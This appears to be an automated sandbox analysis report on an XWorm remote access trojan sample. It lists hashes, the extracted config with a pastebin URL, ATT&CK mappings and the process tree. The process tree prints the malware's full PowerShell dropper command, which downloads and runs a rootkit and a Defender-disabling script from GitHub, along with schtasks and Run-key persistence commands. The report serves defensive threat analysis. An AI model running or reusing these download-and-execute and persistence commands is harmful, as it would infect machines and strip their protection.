xworm | 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67

Analysis

max time kernel
149s
max time network
150s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
08/03/2025, 04:23

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General

Target

98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
Size

55KB
MD5

5a56065a3cb76c24738719ff09686ea6
SHA1

269254a2a77e708480d05b355348a6756cf3130e
SHA256

98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67
SHA512

e3413dc25bd29e8e0553db27528dc2c3f3ac67bdfcd3c93e608ed8b92a5b1ddd3e16dcb0517b0becc2ed95a853b7e12dc15e92d2e0c800b3c2d581c73c4fe8ad
SSDEEP

768:vIU44Oj5X88UOzTx4tfLFFO7mWbIwhTzkKL/t/X6snGRohJOcCouejK:vHCZNOpFO79bIw9IK5/rbO+uh

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes

Install_directory
%port%
pastebin_url
https://pastebin.com/raw/GMv8QPCE

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/2848-1-0x0000000000FB0000-0x0000000000FC4000-memory.dmp	family_xworm
behavioral1/files/0x0032000000017021-15.dat	family_xworm
behavioral1/memory/572-17-0x00000000002A0000-0x00000000002B4000-memory.dmp	family_xworm
behavioral1/memory/1892-1516-0x00000000013A0000-0x00000000013B4000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1372	powershell.exe
6	1372	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1372	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
572	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
1892	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
2212	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67 = "C:\\Users\\Admin\\AppData\\Roaming\\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe"	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 60 IoCs

Web Service

T1102

flow	ioc
18	raw.githubusercontent.com
38	raw.githubusercontent.com
71	raw.githubusercontent.com
30	raw.githubusercontent.com
53	raw.githubusercontent.com
54	raw.githubusercontent.com
8	pastebin.com
17	raw.githubusercontent.com
31	raw.githubusercontent.com
61	raw.githubusercontent.com
63	raw.githubusercontent.com
72	raw.githubusercontent.com
13	raw.githubusercontent.com
41	raw.githubusercontent.com
22	raw.githubusercontent.com
75	raw.githubusercontent.com
39	raw.githubusercontent.com
40	raw.githubusercontent.com
55	raw.githubusercontent.com
57	raw.githubusercontent.com
9	pastebin.com
29	raw.githubusercontent.com
56	raw.githubusercontent.com
50	raw.githubusercontent.com
65	raw.githubusercontent.com
68	raw.githubusercontent.com
21	raw.githubusercontent.com
25	raw.githubusercontent.com
32	raw.githubusercontent.com
46	raw.githubusercontent.com
64	raw.githubusercontent.com
74	raw.githubusercontent.com
23	raw.githubusercontent.com
28	raw.githubusercontent.com
33	raw.githubusercontent.com
34	raw.githubusercontent.com
44	raw.githubusercontent.com
52	raw.githubusercontent.com
62	raw.githubusercontent.com
37	raw.githubusercontent.com
66	raw.githubusercontent.com
76	raw.githubusercontent.com
69	raw.githubusercontent.com
26	raw.githubusercontent.com
48	raw.githubusercontent.com
49	raw.githubusercontent.com
51	raw.githubusercontent.com
67	raw.githubusercontent.com
12	raw.githubusercontent.com
42	raw.githubusercontent.com
45	raw.githubusercontent.com
43	raw.githubusercontent.com
58	raw.githubusercontent.com
36	raw.githubusercontent.com
73	raw.githubusercontent.com
16	raw.githubusercontent.com
19	raw.githubusercontent.com
20	raw.githubusercontent.com
27	raw.githubusercontent.com
60	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2712	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1372	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2848	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	572	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
Token: SeDebugPrivilege	1892	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
Token: SeDebugPrivilege	2212	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2848 wrote to memory of 1372	2848	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe	30
PID 2848 wrote to memory of 1372	2848	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe	30
PID 2848 wrote to memory of 1372	2848	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe	30
PID 2848 wrote to memory of 2712	2848	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe	32
PID 2848 wrote to memory of 2712	2848	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe	32
PID 2848 wrote to memory of 2712	2848	98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe	32
PID 560 wrote to memory of 572	560	taskeng.exe	35
PID 560 wrote to memory of 572	560	taskeng.exe	35
PID 560 wrote to memory of 572	560	taskeng.exe	35
PID 560 wrote to memory of 1892	560	taskeng.exe	37
PID 560 wrote to memory of 1892	560	taskeng.exe	37
PID 560 wrote to memory of 1892	560	taskeng.exe	37
PID 560 wrote to memory of 2212	560	taskeng.exe	38
PID 560 wrote to memory of 2212	560	taskeng.exe	38
PID 560 wrote to memory of 2212	560	taskeng.exe	38

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
"C:\Users\Admin\AppData\Local\Temp\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe"
1⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1372
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67" /tr "C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2712

C:\Windows\system32\taskeng.exe
taskeng.exe {639EE80E-1D14-47EF-AD53-3FCF4ED4DA5A} S-1-5-21-2039016743-699959520-214465309-1000:PIDEURYY\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:560
- C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
  C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:572
- C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
  C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1892
- C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
  C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
71KB

MD5
83142242e97b8953c386f988aa694e4a

SHA1
833ed12fc15b356136dcdd27c61a50f59c5c7d50

SHA256
d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

SHA512
bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

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C:\Users\Admin\AppData\Local\Temp\TarAF1B.tmp

Filesize
183KB

MD5
109cab5505f5e065b63d01361467a83b

SHA1
4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

SHA256
ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

SHA512
753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

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C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe

Filesize
55KB

MD5
5a56065a3cb76c24738719ff09686ea6

SHA1
269254a2a77e708480d05b355348a6756cf3130e

SHA256
98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67

SHA512
e3413dc25bd29e8e0553db27528dc2c3f3ac67bdfcd3c93e608ed8b92a5b1ddd3e16dcb0517b0becc2ed95a853b7e12dc15e92d2e0c800b3c2d581c73c4fe8ad

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memory/572-17-0x00000000002A0000-0x00000000002B4000-memory.dmp

Filesize
80KB

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memory/1372-7-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

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memory/1372-9-0x0000000002EA0000-0x0000000002F20000-memory.dmp

Filesize
512KB

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memory/1372-8-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

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memory/1372-6-0x0000000002EA0000-0x0000000002F20000-memory.dmp

Filesize
512KB

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memory/1892-1516-0x00000000013A0000-0x00000000013B4000-memory.dmp

Filesize
80KB

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memory/2848-11-0x000000001AD70000-0x000000001ADF0000-memory.dmp

Filesize
512KB

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memory/2848-12-0x000007FEF5063000-0x000007FEF5064000-memory.dmp

Filesize
4KB

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memory/2848-13-0x000000001AD70000-0x000000001ADF0000-memory.dmp

Filesize
512KB

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memory/2848-0-0x000007FEF5063000-0x000007FEF5064000-memory.dmp

Filesize
4KB

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memory/2848-1-0x0000000000FB0000-0x0000000000FC4000-memory.dmp

Filesize
80KB

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